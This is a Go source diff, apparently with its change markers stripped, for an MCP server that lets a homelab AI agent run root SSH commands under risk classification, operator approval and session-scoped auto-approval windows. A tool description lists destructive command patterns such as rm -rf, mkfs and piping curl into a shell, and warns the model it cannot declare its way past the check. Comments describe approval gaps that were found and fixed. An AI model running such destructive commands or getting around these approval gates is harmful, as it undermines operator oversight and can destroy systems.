pool.Exec(ctx, `INSERT INTO executions (entity_id, target_entity_id, action, risk_class, status, correlation_id, agent_id) VALUES ($1, $2, $3, 'reversible_low', 'running', $4, $5) ON CONFLICT DO NOTHING`,
id, targetID, action+":"+params, correlationID, agentID)
// Execute reversible actions immediately
// Execute reversible actions immediately. restart/pct_exec/systemctl
// (outside enable/disable) never reach here — they're routed through
// classifyAndGate above, before this dedup+insert block.
switch action {
case "restart":
host, user, err := resolveHost(ctx, pool, targetSlug)
if err != nil {
return textResult(fmt.Sprintf("resolve: %v", err)), nil
}
svc := strings.TrimPrefix(targetSlug, "lxc:")
out, err := sshExec(ctx, host, user, fmt.Sprintf("systemctl restart %s 2>&1; sleep 1; systemctl is-active %s", svc, svc))
result := fmt.Sprintf("restart %s: %s", svc, out)
if err != nil {
result = fmt.Sprintf("restart %s: ERROR %v", svc, err)
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`,
id, fmt.Sprintf(`{"output":"%s"}`, strings.ReplaceAll(out, "\n", "\\n")))
return textResult(result), nil
case "systemctl":
// Only enable/disable reach this case now.
svc := strings.TrimPrefix(targetSlug, "lxc:")
if params == "enable" || params == "disable" {
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class='config_mutation' WHERE entity_id=$1`, id)
createApproval(ctx, pool, id, targetID, "systemctl", svc+":"+params, "config_mutation")
return textResult(fmt.Sprintf("systemctl %s on %s requires approval — execution %s queued", params, svc, id)), nil
}
host, user, err := resolveHost(ctx, pool, targetSlug)
if err != nil {
return textResult(fmt.Sprintf("resolve: %v", err)), nil
}
cmd := fmt.Sprintf("systemctl %s %s 2>&1; sleep 1; systemctl is-active %s", params, svc, svc)
out, err := sshExec(ctx, host, user, cmd)
result := fmt.Sprintf("systemctl %s %s: %s", params, svc, out)
if err != nil {
result = fmt.Sprintf("systemctl %s %s: ERROR %v", params, svc, err)
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`,
id, fmt.Sprintf(`{"output":"%s"}`, strings.ReplaceAll(out, "\n", "\\n")))
return textResult(result), nil
case "pct_exec":
var pveID string
if err := pool.QueryRow(ctx, "SELECT attributes->>'pve_id' FROM entities WHERE slug = $1", targetSlug).Scan(&pveID); err != nil || pveID == "" {
return textResult(fmt.Sprintf("LXC not found: %s", targetSlug)), nil
}
// Resolve Proxmox host
var hostSlug string
pool.QueryRow(ctx, "SELECT attributes->>'host' FROM entities WHERE slug = $1", targetSlug).Scan(&hostSlug)
if hostSlug == "" {
hostSlug = "host:hubris" // default
}
host, user, err := resolveHost(ctx, pool, hostSlug)
if err != nil {
return textResult(fmt.Sprintf("resolve Proxmox host: %v", err)), nil
}
out, err := sshExec(ctx, host, user, fmt.Sprintf("pct exec %s -- %s 2>&1", pveID, params))
result := fmt.Sprintf("pct exec %s: %s", pveID, out)
if err != nil {
result = fmt.Sprintf("pct exec %s: ERROR %v", pveID, err)
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`,
id, fmt.Sprintf(`{"output":"%s"}`, strings.ReplaceAll(out, "\n", "\\n")))
return textResult(result), nil
case "apt_upgrade":
if params == "audit" {
@@ -365,14 +452,98 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
}
return textResult("apt audit:\n" + out), nil
}
// During an active assent window, auto-approve.
if assentWindowActive(ctx, pool, agentID, sessionID) {
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class='config_mutation' WHERE entity_id=$1`, id)
createApproval(ctx, pool, id, targetID, "apt_upgrade", params, "config_mutation")
// Do NOT pre-flip approvals/executions status here (that was
// the previous, broken "autoApprove" helper). DecideApproval
// (invoked below) is the ONE place that transitions
// pending_approval -> approved and dispatches the real SSH
// work — it specifically looks for status='pending_approval'
// to find what to run. Pre-flipping the status past that
// state meant DecideApproval's own lookup found nothing,
// silently no-opped, and the execution sat at 'approved'
// forever with nothing actually running. Found live: every
// assent-window auto-approved pct_create/apt_upgrade has
// never actually executed, via this exact bug. Calling
// executeApprovedViaAPI directly against the untouched
// pending_approval row makes this identical to the manual
// Approve-button path, just without a human click.
//
// context.Background(), NOT ctx: ctx is scoped to this MCP
// tool call, cancelled the instant the chat turn's HTTP
// response completes (every normal turn) — a goroutine
// meant to outlive the request must not inherit its context.
safego.Go("mcp:executeApprovedViaAPI:apt_upgrade", func() {
executeApprovedViaAPI(context.Background(), id, targetSlug, "apt_upgrade:"+params)
})
slog.Info("mcp: apt_upgrade auto-approved via assent window", "execution_id", id)
return textResult(fmt.Sprintf("apt_upgrade on %s auto-approved via assent window — execution %s running.", targetSlug, id)), nil
}
// upgrade requires approval — queue
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class='config_mutation' WHERE entity_id=$1`, id)
createApproval(ctx, pool, id, targetID, "apt_upgrade", params, "config_mutation")
return textResult(fmt.Sprintf("apt_upgrade on %s requires approval — execution %s queued", targetSlug, id)), nil
default:
return textResult(fmt.Sprintf("unknown action: %s. Supported: restart, systemctl, pct_exec, apt_upgrade", action)), nil
case "pct_create":
// During an active assent window, auto-approve and execute
// instead of queuing — the operator already approved the plan.
if assentWindowActive(ctx, pool, agentID, sessionID) {
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class='config_mutation' WHERE entity_id=$1`, id)
createApproval(ctx, pool, id, targetID, "pct_create", params, "config_mutation")
// See the apt_upgrade case above for why there's no
// pre-flip-status "autoApprove" step here anymore, and why
// this uses context.Background().
safego.Go("mcp:executeApprovedViaAPI:pct_create", func() {
executeApprovedViaAPI(context.Background(), id, targetSlug, "pct_create:"+params)
})
slog.Info("mcp: pct_create auto-approved via assent window", "execution_id", id)
return textResult(fmt.Sprintf("pct_create on %s auto-approved via assent window — execution %s running. The LXC is being provisioned now.", targetSlug, id)), nil
}
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class='config_mutation' WHERE entity_id=$1`, id)
createApproval(ctx, pool, id, targetID, "pct_create", params, "config_mutation")
return textResult(fmt.Sprintf("pct_create on %s requires approval — execution %s queued. The LXC will be provisioned once approved.", targetSlug, id)), nil
default:
return textResult(fmt.Sprintf("unknown action: %s. Supported: restart, systemctl, pct_exec, apt_upgrade, pct_create", action)), nil
}
})
register(&mcp.Tool{Name: "run", Description: "Run ANY shell command against any host or LXC. This is the general execution primitive — prefer it over asking the operator to run something manually, and don't wait for a matching fixed action to exist. Every command is automatically risk-classified: read-only inspection (cat, systemctl status, docker ps, journalctl, df, git status, ...) runs immediately; anything that changes state requires operator approval (granted by the operator replying \"go ahead\"/\"yes\" in chat, or via the Approve button); commands matching a destructive pattern (rm -rf, dd, mkfs, pct/qm destroy, DROP TABLE, reboot, piping curl into a shell, ...) always require approval regardless of what you declare. You cannot talk your way past the destructive check by declaring a lower risk.",
InputSchema: objSchema(
prop{"target", "string", "Target entity slug: host:<slug> (e.g. host:strong) or lxc:<slug> (e.g. lxc:caddy). LXC commands run via pct exec on its Proxmox host automatically."},
prop{"command", "string", "The shell command to run. Can be a full script (multi-line, &&-chained). Runs as root."},
prop{"purpose", "string", "One sentence: why you're running this. Shown to the operator alongside the approval — be specific, this is what they're approving."},
prop{"declared_risk", "string", "Optional self-assessment: read_only, reversible_low, config_mutation, or destructive. This can only ESCALATE the automatic classification, never lower it — declaring a mutating command as read_only has no effect."},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
targetSlug, _ := args["target"].(string)
command, _ := args["command"].(string)
purpose, _ := args["purpose"].(string)
declaredRisk, _ := args["declared_risk"].(string)
sessionID, _ := args["_session_id"].(string)
if targetSlug == "" || command == "" {
return textResult("error: target and command are required"), nil
}
var targetID uuid.UUID
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", targetSlug).Scan(&targetID); err != nil {
return textResult(fmt.Sprintf("target not found: %s", targetSlug)), nil
}
return classifyAndGate(ctx, pool, agentID, targetID, targetSlug, command, purpose, declaredRisk, sessionID), nil
})
register(&mcp.Tool{Name: "http_get", Description: "Fetch a public web page or raw file (e.g. a GitHub README/raw URL) and return sanitized text. Use this to research how to deploy a service before provisioning. HTTP/HTTPS only; body is truncated to ~16KB.",
InputSchema: objSchema(
prop{"url", "string", "Absolute http(s) URL to fetch"},
),
}, func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
rawURL, _ := args["url"].(string)
return httpGet(ctx, rawURL), nil
})
register(&mcp.Tool{Name: "get_execution_status", Description: "Check the status of a requested execution",
@@ -698,6 +869,8 @@ func newServer(pool *db.Pool, agentID uuid.UUID) *mcp.Server {
COALESCE(st.last_check_at::text, '') AS last_check
FROM entities e
LEFT JOIN entity_status st ON st.entity_id = e.id
WHERE e.state IS NOT NULL
OR st.health IS NOT NULL
ORDER BY st.health, e.slug
LIMIT 200
`), nil
@@ -766,12 +939,18 @@ func withActivityLogging(pool *db.Pool, agentID uuid.UUID, toolName string, next
correlationID := uuid.New().String()
entityID := resolveArgEntityID(ctx, pool, argsMap(req))
var entityIDArg any
if entityID != uuid.Nil {
entityIDArg = entityID
}
_, logErr := pool.Exec(ctx, `
INSERT INTO agent_activity
(agent_id, activity_type, tool_name, input_summary, output_summary,
(agent_id, activity_type, tool_name, entity_id, input_summary, output_summary,
duration_ms, success, correlation_id)
VALUES ($1, $2, $3, $4, $5, $6, $7, $8)`,
agentID, "tool_call", toolName, inputSummary, outputSummary,
VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)`,
agentID, "tool_call", toolName, entityIDArg, inputSummary, outputSummary,
duration, success, correlationID)
if logErr != nil {
slog.Warn("mcp: log agent_activity", "error", logErr)
@@ -781,6 +960,37 @@ func withActivityLogging(pool *db.Pool, agentID uuid.UUID, toolName string, next
}
}
// entityArgKeys lists tool-argument keys, in priority order, that commonly
// carry the target entity's slug or UUID. Tool input schemas aren't
// consistent about naming this (target, entity_slug, slug, service_slug,
// lxc_slug, entity_id all appear across server.go's tool registrations), so
// this is a best-effort lookup used to tag agent_activity rows with the
// entity a tool call acted on.
var entityArgKeys = []string{
"target", "entity_slug", "slug", "slug_or_id",
"service_slug", "lxc_slug", "entity_id", "about",
}
// resolveArgEntityID best-effort resolves the entity a tool call acted on
// from its arguments, trying entityArgKeys in order. Returns uuid.Nil if no
// key is present or none resolves to a known entity.
func resolveArgEntityID(ctx context.Context, pool *db.Pool, args map[string]any) uuid.UUID {
for _, key := range entityArgKeys {
v, _ := args[key].(string)
if v == "" {
continue
}
if u, err := uuid.Parse(v); err == nil {
return u
}
var id uuid.UUID
if err := pool.QueryRow(ctx, "SELECT id FROM entities WHERE slug = $1", v).Scan(&id); err == nil {
return id
}
}
return uuid.Nil
}
// ─── Helpers ──────────────────────────────────────────────────────────
func argsMap(req *mcp.CallToolRequest) map[string]any {
@@ -828,6 +1038,22 @@ func textResult(s string) *mcp.CallToolResult {
}
}
// jsonOut builds a valid {"output": "..."} JSON payload for an execution's
// result column. Command output contains quotes/backslashes/control chars, so
// it must be JSON-marshaled — a hand-built string fails the ::jsonb cast and
// silently drops the status update, leaving the execution stuck.
func jsonOut(out string) []byte {
b, _ := json.Marshal(map[string]any{"output": out})
return b
}
// jsonErr builds a valid {"error": "..."} JSON payload for an execution's
// result column — same rationale as jsonOut, for the failure path.
func jsonErr(format string, args ...any) []byte {
b, _ := json.Marshal(map[string]any{"error": fmt.Sprintf(format, args...)})
return b
}
func queryEntity(ctx context.Context, pool *db.Pool, idOrSlug string) *mcp.CallToolResult {
var id uuid.UUID
if u, err := uuid.Parse(idOrSlug); err == nil {
@@ -902,6 +1128,12 @@ func initSSH() {
}
}
// sshExecTimeout bounds how long a single remote command may run — see the
// matching constant/comment in httpapi/phase3.go. Without it, a hung remote
// command (piped install script stuck retrying DNS, etc.) blocks this
// goroutine forever with no way for the caller to ever get an answer.
const sshExecTimeout = 10 * time.Minute
func sshExec(ctx context.Context, host, user, command string) (string, error) {
initSSH()
if len(sshKey) == 0 {
@@ -936,11 +1168,55 @@ func sshExec(ctx context.Context, host, user, command string) (string, error) {
}
defer session.Close()
out, err := session.CombinedOutput(command)
if err != nil && out == nil {
return "", fmt.Errorf("exec: %w", err)
type result struct {
out []byte
err error
}
done := make(chan result, 1)
go func() {
// Recovers a panic in CombinedOutput (SSH library internals, rare but
// not impossible) and reports it as a failed command instead of
// crashing the whole api process — every gated action runs through
// this function, so an unrecovered panic here would take down every
// concurrently-running task's execution, not just this one. Without
// this, a panic would ALSO silently degrade to "wait out the full
// timeout" (done never receives, the select below falls through to
// its time.After case) rather than crashing outright — recovering
// and sending an immediate result is strictly better: the caller
// finds out now, not after sshExecTimeout.
defer func() {
if r := recover(); r != nil {
done <- result{nil, fmt.Errorf("panic in ssh exec: %v", r)}
}
}()
out, err := session.CombinedOutput(command)
done <- result{out, err}
}()
select {
case r := <-done:
text := strings.TrimSpace(string(r.out))
// A non-zero exit MUST surface as an error — matching the fix
// applied to httpapi's sshExec (this copy still had the original
// bug: only erroring when there was no output at all, so a command
// that failed but printed something was silently reported as
// success).
if r.err != nil {
if text != "" {
return text, fmt.Errorf("%w: %s", r.err, text)
}
return text, fmt.Errorf("exec: %w", r.err)
}
return text, nil
case <-time.After(sshExecTimeout):
session.Close()
client.Close()
return "", fmt.Errorf("timed out after %s waiting for command to finish on %s", sshExecTimeout, host)
case <-ctx.Done():
session.Close()
client.Close()
return "", ctx.Err()
}
return strings.TrimSpace(string(out)), nil
}
func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP string, sshUser string, err error) {
@@ -970,8 +1246,428 @@ func resolveHost(ctx context.Context, pool *db.Pool, entitySlug string) (hostIP
return "", "", fmt.Errorf("no IP found for %s", entitySlug)
}
// htmlTagRe strips HTML tags for the naive text extraction in httpGet.
var htmlTagRe = regexp.MustCompile(`(?s)<(script|style)[^>]*>.*?</(script|style)>|<[^>]+>`)
// httpGet fetches a public URL and returns sanitized, size-capped text so the
// agent can read a service's README/site before provisioning. Guards: scheme
// allow-list, request timeout, 16KB body cap, and blocking of RFC1918/loopback
// hosts to avoid using the tool as an SSRF pivot into the private mesh.
func httpGet(ctx context.Context, rawURL string) *mcp.CallToolResult {
if rawURL == "" {
return textResult("error: url required")
}
u, err := url.Parse(strings.TrimSpace(rawURL))
if err != nil || (u.Scheme != "http" && u.Scheme != "https") {
return textResult("error: url must be an absolute http(s) URL")
}
if isPrivateHost(u.Hostname()) {
return textResult("error: refusing to fetch private/loopback address")
}
cctx, cancel := context.WithTimeout(ctx, 15*time.Second)
defer cancel()
hreq, err := http.NewRequestWithContext(cctx, http.MethodGet, u.String(), nil)
if err != nil {
return textResult(fmt.Sprintf("error: %v", err))
}
hreq.Header.Set("User-Agent", "oikos-nomos/1.0 (+homelab agent)")
hreq.Header.Set("Accept", "text/plain, text/html, application/json;q=0.9, */*;q=0.5")
client := &http.Client{Timeout: 20 * time.Second}
resp, err := client.Do(hreq)
if err != nil {
return textResult(fmt.Sprintf("error: fetch failed: %v", err))
}
defer resp.Body.Close()
const cap = 256 * 1024 // read a bit extra pre-strip; final output capped below
body, _ := io.ReadAll(io.LimitReader(resp.Body, cap))
ct := resp.Header.Get("Content-Type")
text := sanitizeBody(ct, string(body))
return textResult(fmt.Sprintf("GET %s → %d %s\n\n%s", u.String(), resp.StatusCode, ct, text))
}
// sanitizeBody strips scripts/styles/tags from HTML, unescapes entities,
// collapses whitespace, and caps the result to ~16KB of readable text.
func sanitizeBody(contentType, raw string) string {
text := raw
if strings.Contains(contentType, "html") {
text = htmlTagRe.ReplaceAllString(text, " ")
text = html.UnescapeString(text)
text = strings.Join(strings.Fields(text), " ")
}
if len(text) > 16*1024 {
text = text[:16*1024] + "\n…[truncated]"
}
return text
}
// isPrivateHost reports whether host is loopback, link-local, or RFC1918.
func isPrivateHost(host string) bool {
host = strings.ToLower(host)
if host == "localhost" || strings.HasSuffix(host, ".local") || strings.HasSuffix(host, ".internal") {
return true
}
ip := net.ParseIP(host)
if ip == nil {
return false // hostname; DNS may still resolve private — acceptable for a homelab tool
}
return ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() || ip.IsUnspecified()
}
// resolveExecTarget resolves any target slug (host: or lxc:) to the SSH
// endpoint that will actually run the command, and a wrap function that turns
// a plain shell command into whatever must actually be sent over that SSH
// connection: identity for a host, `pct exec <pve_id> -- ...` for an LXC.
//
// The lxc.attributes.host value is stored WITHOUT a "host:" prefix (e.g.
// "strong", not "host:strong") — see pct_create's entity registration. The
// pre-existing pct_exec handler queried resolveHost with that bare value
// directly, which can never match a "host:*" slug and always fails; this
// prefixes it correctly.
func resolveExecTarget(ctx context.Context, pool *db.Pool, targetSlug string) (host, user string, wrap func(cmd string) string, err error) {
if strings.HasPrefix(targetSlug, "host:") {
host, user, err = resolveHost(ctx, pool, targetSlug)
return host, user, func(cmd string) string { return cmd }, err
}
if strings.HasPrefix(targetSlug, "lxc:") {
var pveID, hostAttr string
// COALESCE the host column: many older LXC entities (seeded from
// inventory, not provisioned by pct_create) have pve_id but no host
// attribute at all. Scanning a SQL NULL into a plain string errors
// the whole row, wrongly reporting "missing pve_id" even when it was
// present — COALESCE avoids the NULL, "" is handled below.
if qerr := pool.QueryRow(ctx, "SELECT attributes->>'pve_id', COALESCE(attributes->>'host', '') FROM entities WHERE slug = $1", targetSlug).Scan(&pveID, &hostAttr); qerr != nil || pveID == "" {
return "", "", nil, fmt.Errorf("LXC not found or missing pve_id: %s", targetSlug)
}
hostSlug := hostAttr
if hostSlug == "" {
hostSlug = "hubris" // documented default Proxmox host when unset
}
if !strings.HasPrefix(hostSlug, "host:") {
hostSlug = "host:" + hostSlug
}
host, user, err = resolveHost(ctx, pool, hostSlug)
id := pveID
return host, user, func(cmd string) string {
b64 := base64.StdEncoding.EncodeToString([]byte(cmd))
return fmt.Sprintf("pct exec %s -- bash -c 'echo %s | base64 -d | bash'", id, b64)
}, err
}
return "", "", nil, fmt.Errorf("unsupported target %q: must be host:<slug> or lxc:<slug>", targetSlug)
}
// classifyAndGate is the shared classify→execute-or-queue path for every
// mutating command, used by both the general `run` tool and
// request_execution's restart/systemctl/pct_exec actions. Those legacy
// actions used to execute immediately over SSH with a hardcoded
// risk_class='reversible_low' that was never actually evaluated against the
// command — found live 2026-07-10 when a chat request to restart caddy (the
// fleet's reverse proxy) executed instantly with no approval at all. Routing
// every mutating path through the same classifier + approval-queue logic
// closes that gap without special-casing each caller.
func classifyAndGate(ctx context.Context, pool *db.Pool, agentID, targetID uuid.UUID, targetSlug, command, purpose, declaredRisk, sessionID string) *mcp.CallToolResult {
riskClass := policy.ClassifyCommand(command, declaredRisk)
runParams, _ := json.Marshal(map[string]string{"command": command, "purpose": purpose})
actionCol := "run:" + string(runParams)
// Dedup: an identical pending command (same target, command, and
// purpose) blocks a re-request — stops a tool-calling loop from queuing
// the same approval repeatedly.
var existingID string
derr := pool.QueryRow(ctx, `
SELECT e.id::text FROM entities e
JOIN executions ex ON ex.entity_id = e.id
WHERE e.type = 'execution' AND ex.target_entity_id = $1
AND ex.action = $2 AND ex.status = 'pending_approval'
ORDER BY e.created_at DESC LIMIT 1`,
targetID, actionCol).Scan(&existingID)
if derr == nil && existingID != "" {
return textResult(fmt.Sprintf("An identical command is already queued for approval on %s — execution %s. Wait for the operator, don't re-request.", targetSlug, existingID))
}
id, _ := uuid.NewV7()
correlationID := uuid.New().String()
execName := "run on " + targetSlug + " (" + id.String() + ")"
execSlug := "exec:" + targetSlug + ":" + id.String()
if _, err := pool.Exec(ctx, `INSERT INTO entities (id, slug, type, name, attributes) VALUES ($1, $2, 'execution', $3, '{}')`,
id, execSlug, execName); err != nil {
return textResult(fmt.Sprintf("error: failed to create execution: %v", err))
}
pool.Exec(ctx, `INSERT INTO executions (entity_id, target_entity_id, action, risk_class, status, correlation_id, agent_id) VALUES ($1, $2, $3, $4, 'running', $5, $6) ON CONFLICT DO NOTHING`,
id, targetID, actionCol, riskClass, correlationID, agentID)
if riskClass == policy.RiskReadOnly {
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
if rerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
return textResult(fmt.Sprintf("resolve target: %v", rerr))
}
out, xerr := sshExec(ctx, host, user, wrap(command))
if xerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
return textResult(fmt.Sprintf("run on %s (read_only, auto): %s", targetSlug, out))
}
// Assent window: if the operator recently approved a plan in this
// agent's chat session, config_mutation commands auto-run without
// re-approval. This is the "approve the plan, carry it out" path — the
// operator approved the overall direction; individual config steps
// within the window don't each need a separate yes. Destructive
// commands never auto-run, regardless of window.
if riskClass == policy.RiskConfigMutation && assentWindowActive(ctx, pool, agentID, sessionID) {
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
if rerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
return textResult(fmt.Sprintf("resolve target: %v", rerr))
}
out, xerr := sshExec(ctx, host, user, wrap(command))
if xerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
slog.Info("mcp: run auto-executed via assent window", "target", targetSlug, "execution_id", id)
return textResult(fmt.Sprintf("run on %s (config_mutation, auto via assent window): %s", targetSlug, out))
}
// Destructive window: a narrow, TARGET-scoped grant opened only after an
// operator's explicit typed confirmation ("I confirm") on this same
// target — never by loose assent. Exists for multi-step destructive
// recovery (e.g. a failed destroy needing stop, then destroy) so the
// operator isn't asked to re-type "I confirm" for every single command
// against the thing they just confirmed.
if riskClass == policy.RiskDestructive && destructiveWindowActive(ctx, pool, agentID, targetSlug, sessionID) {
host, user, wrap, rerr := resolveExecTarget(ctx, pool, targetSlug)
if rerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s", rerr.Error()))
return textResult(fmt.Sprintf("resolve target: %v", rerr))
}
out, xerr := sshExec(ctx, host, user, wrap(command))
if xerr != nil {
pool.Exec(ctx, `UPDATE executions SET status='failed', result=$2::jsonb WHERE entity_id=$1`, id, jsonErr("%s: %s", xerr.Error(), out))
return textResult(fmt.Sprintf("run on %s: ERROR %v\n%s", targetSlug, xerr, out))
}
pool.Exec(ctx, `UPDATE executions SET status='completed', result=$2::jsonb WHERE entity_id=$1`, id, jsonOut(out))
slog.Info("mcp: run auto-executed via destructive window", "target", targetSlug, "execution_id", id)
return textResult(fmt.Sprintf("run on %s (destructive, auto via confirmed-target window): %s", targetSlug, out))
}
pool.Exec(ctx, `UPDATE executions SET status='pending_approval', risk_class=$2 WHERE entity_id=$1`, id, riskClass)
createApproval(ctx, pool, id, targetID, "run", string(runParams), riskClass)
confirmNote := ""
if riskClass == policy.RiskDestructive {
confirmNote = " This is classified DESTRUCTIVE — flag that clearly to the operator; it needs explicit confirmation, not just a casual \"go ahead\"."
}
return textResult(fmt.Sprintf("run on %s requires approval (risk: %s) — execution %s queued.%s Present the command and purpose to the operator and wait; do not re-request.",
targetSlug, riskClass, id, confirmNote))
}
// autoApprove updates the approval + execution status in the DB to approved,
// mirroring what DecideApproval does. Returns true on success. This is used
// by the assent-window path to skip the operator-approval queue when the
// operator already approved the overall plan via chat assent.
// executeApprovedViaAPI calls the HTTP API's approval-decision endpoint to
// trigger the actual execution. The API server (phase3.executeApprovedAction)
// handles the real SSH work (pct create, apt upgrade, etc.) in a goroutine.
// We POST to the decision endpoint to reuse the exact same execution path
// as a manual Approve-button click, ensuring the audit trail is consistent.
func executeApprovedViaAPI(ctx context.Context, execID uuid.UUID, targetSlug, actionStr string) {
apiBase := os.Getenv("OIKOS_API_BASE")
if apiBase == "" {
apiBase = "http://api:8090"
}
body, _ := json.Marshal(map[string]string{"decision": "approve"})
client := &http.Client{Timeout: 10 * time.Second}
req, err := http.NewRequestWithContext(ctx, http.MethodPost,
apiBase+"/api/v1/approvals/"+execID.String()+"/decision", bytes.NewReader(body))
if err != nil {
slog.Error("mcp: executeApprovedViaAPI request", "error", err)
return
}
req.Header.Set("Content-Type", "application/json")
resp, err := client.Do(req)
if err != nil {
slog.Error("mcp: executeApprovedViaAPI call", "error", err)
return
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
// A non-200 here means the real SSH work was never dispatched — this
// is the call that actually triggers executeApprovedAction via
// DecideApproval. (A previous version of this comment claimed a
// non-200 was fine because a since-removed "autoApprove" step had
// already triggered execution via a raw DB update — it hadn't; that
// was the bug where auto-approved pct_create/apt_upgrade never
// actually ran. There is no other path that dispatches the work.)
slog.Error("mcp: executeApprovedViaAPI non-200 — execution was NOT dispatched", "status", resp.StatusCode, "execution", execID)
}
}
// assentWindowActive checks whether the operator has recently approved a plan
// in THIS TASK's chat session. The agent sets an
// assent_window.agent:<uuid>.session:<id> key in autonomy_settings with an
// expiry timestamp when chat-assent grants a pending execution. While
// active, config_mutation commands auto-run without re-approval — the
// operator approved the overall plan, not each step. Scoped by session, not
// just agent: with one agent:nomos entity serving every concurrent task, an
// agent-only key would let approving Task A's plan silently auto-run
// unapproved actions from a concurrently-running Task B. sessionID comes
// from the `_session_id` nomos injects into every tool call's wire args
// (never part of any tool's declared InputSchema, so the model never
// supplies or sees it) — see cmd/nomos/agent.go's tool dispatch loop.
func assentWindowActive(ctx context.Context, pool *db.Pool, agentID uuid.UUID, sessionID string) bool {
if agentID == uuid.Nil || sessionID == "" {
return false // fail closed: no session to scope to means no window
}
var expiresStr string
err := pool.QueryRow(ctx,
"SELECT value FROM autonomy_settings WHERE key = $1",
"assent_window.agent:"+agentID.String()+".session:"+sessionID).Scan(&expiresStr)
if err != nil {
return false
}
expires, err := time.Parse(time.RFC3339, expiresStr)
if err != nil {
return false
}
return time.Now().UTC().Before(expires)
}
// destructiveWindowActive reports whether targetSlug has a live, explicitly-
// confirmed destructive grant for this agent WITHIN THIS SESSION/TASK. Key
// format ("destructive_window.agent:<id>.target:<slug>.session:<id>") must
// match cmd/nomos/store.go's openDestructiveWindow — both processes
// read/write the same autonomy_settings row. Scoped to one target AND one
// session so a typed confirmation for destroying container A in task X can
// never be read as authorizing anything against container A from a
// different, concurrently-running task Y.
func destructiveWindowActive(ctx context.Context, pool *db.Pool, agentID uuid.UUID, targetSlug, sessionID string) bool {
if agentID == uuid.Nil || targetSlug == "" || sessionID == "" {
return false
}
var expiresStr string
err := pool.QueryRow(ctx,
"SELECT value FROM autonomy_settings WHERE key = $1",
"destructive_window.agent:"+agentID.String()+".target:"+targetSlug+".session:"+sessionID).Scan(&expiresStr)
if err != nil {
return false
}
expires, err := time.Parse(time.RFC3339, expiresStr)
if err != nil {
return false
}
return time.Now().UTC().Before(expires)
}
// knowledgeSlugRe strips a title down to a slug segment.
var knowledgeSlugRe = regexp.MustCompile(`[^a-z0-9]+`)
func knowledgeSlug(kind, title string) string {
s := strings.ToLower(strings.TrimSpace(title))
s = knowledgeSlugRe.ReplaceAllString(s, "-")
s = strings.Trim(s, "-")
if s == "" {
s = "note"
}
if len(s) > 80 {
s = s[:80]
}
return kind + ":nomos/" + s
}
// upsertKnowledge is the agent's write-back path — the missing half of the
// knowledge loop (search_knowledge/get_entity_knowledge could only read).
// Without this, everything the agent learned lived only in an ephemeral chat
// message and was lost; the system could never actually "get better." A
// knowledge doc IS an entity (type document/investigation/runbook) with a row
// in knowledge_entities; re-titling the same thing updates in place rather
// than duplicating. Optionally linked to the entity it's about so
// get_entity_knowledge surfaces it there.
func upsertKnowledge(ctx context.Context, pool *db.Pool, args map[string]any) (*mcp.CallToolResult, error) {
title, _ := args["title"].(string)
content, _ := args["content"].(string)
about, _ := args["about"].(string)
tagsRaw, _ := args["tags"].(string)
kind, _ := args["kind"].(string)
title = strings.TrimSpace(title)
content = strings.TrimSpace(content)
if title == "" || content == "" {
return textResult("error: title and content are required"), nil
}
switch kind {
case "document", "investigation", "runbook":
case "":
kind = "investigation"
default:
return textResult(fmt.Sprintf("error: kind must be document, investigation, or runbook (got %q)", kind)), nil
}
var tags []string
for _, t := range strings.Split(tagsRaw, ",") {
if t = strings.TrimSpace(t); t != "" {
tags = append(tags, t)
}
}
slug := knowledgeSlug(kind, title)
// Upsert the knowledge-doc entity, getting its id whether it already
// existed or we just created it.
docID, _ := uuid.NewV7()
err := pool.QueryRow(ctx, `
INSERT INTO entities (id, slug, type, name, attributes)
VALUES ($1, $2, $3, $4, '{}')
ON CONFLICT (slug) DO UPDATE SET name = EXCLUDED.name, updated_at = now()
RETURNING id`, docID, slug, kind, title).Scan(&docID)
if err != nil {
return textResult(fmt.Sprintf("error creating knowledge entity: %v", err)), nil
}
// Upsert the knowledge content (search column is generated, don't set it).
_, err = pool.Exec(ctx, `
INSERT INTO knowledge_entities (entity_id, title, content, source, tags, updated_at)
VALUES ($1, $2, $3, 'nomos-agent', $4, now())
ON CONFLICT (entity_id) DO UPDATE
SET title = EXCLUDED.title, content = EXCLUDED.content,
